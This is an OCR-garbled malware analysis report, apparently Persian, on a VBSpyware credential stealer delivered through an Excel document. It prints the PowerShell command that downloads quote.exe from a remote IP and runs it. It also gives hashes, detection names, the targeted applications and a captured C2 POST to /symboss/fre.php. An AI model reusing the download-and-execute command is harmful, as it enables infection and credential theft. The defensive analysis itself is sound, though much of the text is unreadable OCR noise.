el g bl VBSpyware ,l5la s i ,58 ‘ﬂb ﬁ_ﬁ

wlgele bl g gld wlajlu

i douly

VBSpyware 4l j8las Jalas 444058

(Wate rCooled/AfterGuns/... )



lelll gl ol VBSpyware ,l5la s i ,58 ‘Jﬂb ig_ﬁ

wlgele bl g gld wlajlu

TSSO URPURPRPRRON ST BB 0,8 50 51 g oo Lyl Loy 1 IS

T PP U PRSPPI 38100 gy ol colio wledlbl 2 S
oo oo Sl 15810y lasin 3 S
Ao, Virustotal.com sles,b 5l eolawl b 58l Julos ulo 4 S
S e e 5810y 4 4 bg e Ml 5 IS
S TSSO PRRUU PSPPSR 38000 51 (6,508 adus 4 g o Sledol 6 Sl
B e J8las b diges yo 4, 5w slaats, 5l slaiges 7 JSb
B et oy b b3 1) s 8 IS

e ——————— omo@‘éjw)wgdiw

D 59 Whois &ledbo! 10 s



wlellislg yolidg bl | =ylig VBSpyV\ﬁre )‘}é‘-\f ‘;\:‘t’u. &)‘Jf ‘ﬁb ﬁﬁ

wlslele bl g yglid wlajlu

KT

ol Ba el 0 osalice 5l & gmnte glaials 13 asl 4 sl (6155l ugmsla o330 diges
g lio Sl gt slaga) eyl Sl Lol )l Sl gl 5 <5 w33l gl
00z 5 CAAIOG-iSt ol b 03T ST blé <o 155l agmsls ! (ool Ve il 0 5 S 250 (slal
Syl a5 el (304c6f45410efca218002¢12009518¢27e63186dd5de57h652¢f2d4d14c7f0) sha256
Sl Gl Gl s ;0 &S (Fge 50 Sl oad Giluptes 5 S Jlois 0Ly @ 2leg Sl
1 S 50 oo ools ojlis oyle,d g 11 Powershell o5ls  « JuST LB 0,5 50 51 o caisl Jlad lag,STe
ol 185.165.29.49 . )01 5l quote.exe s sgbils Jotue 45 54 oo |,

B | <0.01 5,596 K 14960 K 2444 Microsoft Office Excel Microsoft Corporation
4 powershell exe 0.01 36564 K 40880 K 3412 Windows PowerShell Microsoft Corporation

) Usage:954%  Commit C'Corrnand Line

powershell exe
WebClient DOAnloaane Tmp
om Shell Appiica )
Path:
C:\Windows'\System32\WindowsPowerShell\v1.0\powershell exe

by : dden -noprofile noexit (New Object System.Net
1°5 165 29 ~9 /quote exe| Senv: TEMP + "\vhost exe); (New-Object <
"TEMP + \wnost.exe); Stop-Process -ld SPid Force

ST B 5,8 55l g o0 Ll leys 1 S
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IP Address: 185.165.29.49 City: Bushehr

Organization: Mizban Amvaj Sahel Sepehr Bushehr PJSC Country: Iran, Islamic Republic of =
ISP/Hosting: Mizban Amvaj Sahel Sepehr Bushehr PJSC State: Bushenhr

Updated: 10/09/2017 12:53 PM Timezone: AsialTehran

User Rating: Rated35/5 Local Time: 10/14/2017 08:06 AM
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Property Value

MD5 FFDEE03CB4C4C23B2DB269B47E4669D5

SHAL B780A3DBDODIF74D22F037DD7108B0DA952FIESA
Imphash n/a

File description sixas instruments ancorporated

File version 1.06.0003

File date 10:10:2017 - 06:14:17

CPU 32-bit

Size (bytes) 483328

type Executable

subsystem GUI

signature Microsoft Visual Basic v5.0
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AhnLabvi

CAT-QuickHeal

CrowdStrike Falcon

Cyren

Emsisoft

FProt

Fortinet

Tkarus

K7W

Microsoft

nProtect

SentinelOne

Sophos ML

Tencent

TrendMicro-HouseCall

A\ Trojan/win3zinjectorR209263
A Trajan /Win32.Mucc

A winazmalwaregen

A TR/ Injectorbdftp

A Win3zTojanwisdomEyes 16070401....
A TrejanMucc

A malicious confidence 100% (W)
A w32Trojanviom-osTe

A Trejan.Generic 22285810 (B)
A Trejan.Generic 22285610

A\ wsFeeiLEA gentEldorade
A wEiGenkeyptkawTC
A Trejan.wWin3z2njector

A Trejan { 005176cd1 )

A Trejannjector

A Facked QDIFFDEEDICEACS
A Trejanwinz2/Dynamertefn
A Trojan/WizAgent 483326.0F
A Tri/Gdsdan

A static engine - malicious

A hevristic

A Win32.Trojan.Mucc. Eivm

A\ ©rOR TOFSEESMF

A Trejan.win3z2.Generic!BT

A Trojan njes

WiN32.560072

ALYac

Arcabit

AVG

AVware

BilDefender

Comode

Cylance

Drweb

Endgame

ESET-NOD32

F-Secure

K7AntiVirus

A Trejan.Generic 22285610

A Trojan.Generic.01 5400F2

A win3zmalware-gen

A Trejan.wWin3z2.Generic!BT

A Trejan.Generic 22285610

A vndassifiedmalware

A vrsate

A Trojan PWs.Stealer 7779

A malicious (high confidence)
A avariant of Win32/InjectorDRUG
A Trojan.Generic 22285810

A Trojan.Generic. 22285810

A Trejan { 005176cd1 )

A Trejan.Win3z.Mucc.chg

A malware (ai score=100)

A zehaveslikewin3zPwWszhotgm
A Treianwiniz Mucceskirg

A generic.ml

A Trojan.Dynamer!B.3A0 (CLOUD)
A Mal/FareitVe-M

A Trojan Gen

A\ ©rOR TOFSEESMF

A Ticope Trojan Ve

A W32 Trojan.Gen

A Trojan wWin3z.mucs.chy
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"CompanyName", "rearus necurity zcbr"
"FileDescription”, "sixas instruments ancorporated”
"ProductName", "strldcoin"

"FileVersion", "1.06.0003"

"ProductVersion”, "1.06.0003"

"InternalName”, "Watercooled"”

"OriginalFilename", "Watercooled.exe"

"CompanyName"”, "itIbiti Inc."
"ProductName", "bitTOrrent Inc."
"FileVersion", "1.06.0006"
"ProductVersion”, "1.06.0006"
"InternalName", "Afterguns”
"OriginalFilename”, "Afterguns.exe"
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E rifercus]
Watercooled

Kainga3
Securiferousl
Homomorphyd
Waived

_ wbaErrorOwverflow
__wvbalAryDestruct
wbaFreeStr
wbaExitProc
whbald5tr
vbaldhbs
vbhalDerefiryl
vbaFreeVar
vbaRedim
vbaResume
wbaOnError
vbaFreeOhj
vbaHresultCheckObj
vbaMew
vbaWarMove
wbaStrMowve
vbaObjSetAddref
vwbaGenerateBoundsError
__wbaStrCopy
MSVBWMED.DLL
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Browser softwares:
Mozilla Firefox, lIceDragon, Safari, K-Meleon, Mozilla SeaMonkey, Mozilla Flock,

NETGATE Black Hawk, Lunascape, Comodo Dragon, Opera Next, QtWeb, QupZilla,
Internet Explorer, Opera, 8pecxstudios, Mozilla Pale Moon, Mozilla Waterfox.

IM software:
Pidgin.

FTP softwares:
FTPShell, NppFTP, 0Zone3D MyFTP, FTPBox, sherrod FTP, FTP Now, NetSarang xftp,
EasyFTP, SftpNetDrive, AbleFTP, JaSFtp, Automize, Cyberduck, FTPInfo, LinasFTP,
FileZilla, Staff-FTP, BlazeFtp, FTPGetter, WSFTP, GoFTP, Estsoft ALFTP, DeluxeFTP,
Fastream NETFile, ExpanDrive, Steed, FlashFXP, NovaFTP, NetDrive, SmartFTP,
UltraFXP, FTP Now, FreshFTP, BitKinex, Odin Secure FTP Expert, NCH Software
Fling, NCH Software ClassicFTP, WinFtp Client, WinSCP, 32BitFtp, FTP Navigator.

Game softwares:
Full Tilk Poker, PokerStars.

File_manager softwares:
NexusFile, FullSync, FAR Manager, Syncovery, VanDyke SecureFX, Mikrotik Winbox.

SSH/VVNC client softwares:
SuperPutty, Bitvise BvSshClient, VNC, KiTTY.

Password manager softwares:
mSecure, KeePass, EnPass, RoboForm, 1Password.

Email client softwares:
Mozilla Thunderbird, foxmail, Pocomail, IncrediMail, Gmail Notifier Pro, DeskSoft
CheckMail, Softwarenetz Mailing, Opera Mail, Postbox email, Mozilla FossaMall,
Internet Mail, MS Office Outlook, WinChips, yMail2, Flaska.net Trojita, TrulyMail.

Notes/Todo list softwares:
To-Do DeskList, Stickies, NoteFly, Conceptworld Notezilla, Microsoft StickyNotes.
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aols b (185.165.29.123) IP ol a1, layl (Lo 5,50 Sledbl 5,500 51 138100
[RANDOM URL]ffre.php

a3 e inles 1) bl ol 5] tand 8 S i e o ke

23 100.6180648 192.168.56.2 185.165.29.1 HTTP 246 POST /symboss/fre;php HTTP/1.0

Frame 23: 246 bytes on wire (1968 bits), 246 bytes captured (1968 bits)

Ethernet II, Src: 0a:00:27:45:db:77 (0a:00:27:45:db:77), Dst: 0a:00:27:00:00:00 (Da:00:27:00:00:00)
Internet Protocol version 4, src: 192.168.56.23 (192.168.56.23), Dst: 185.165.29.123 (185.165.29.123)
Transmission Control Protocol, Src Port: 62474 (62474), Dst Port: B0 (80), seq: 243, ack: 1, Len: 192
[2 Reassembled TCP Segments (434 bytes): #21(242), #23(192)]
Hypertext Transfer Protocol
+ POST /symboss/fre.php HTTP/1.0%r'n

User-Agent: Mozilla/4.08 (Charon; Inferno)‘r'n

Host: 185%.165.29.123%r\n

Accept: */%*\r\\n

Content-Type: application/octet-stream'r'n

content-encoding: binary\rin

content-Key: 854A29C6%\r'\n
® Content-Length: 192\r\n

connection: closehri\n

hrhn
Full request URI:Ihttg:51185.165.29.123[sxmb055{fre.ghg
[HTTP request 1,/1]

[Response in frame: 25]
® content-encoded entity body (binary): 192 bytes [Error: Decompression failed]
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ﬁ Registry Editor = | B -
File Edit View Favorites Help
418 Computer Mame Type Data

v i :EE:_EIL_J.:;?EEI\?'}RSSE; REG_SZ (wvalue not set)

4 - - ab|FD253D REG_EXPAND_SZ SAPPDATAZAFD253DNDD2125 exe
- L AppEvents
- || Consale
» - ., Control Panel

‘.. | Environment

5. | EUDC
| - | http:/7185.165.29.123/symboss/fre.php
+ - Identities

PRV JPICONE SR L Y L

(10 JS5) Casl 3l 595 51 e bl & bgs o IP a5 a3 o bt 550 IP w0l 51 25,5 Whois

IP Address:

IP Location:

IP Reverse DNS (Host):

IP Owner:

Owner IP Range:

Owner Address:

Owner Country:

Owner Phone:

185.165.29.123

== Iran, Bushehr, Bandar Bashehr
185.165.29.123

™ vilamiramar, Cerro Da Maritenda, Maritenda
185.165.29.0 - 185.165.29.255 (256 ip) Other Sites on IP »
Vilamiramar, Cerro Da Maritenda, Maritenda

™ Germany

+447700089071
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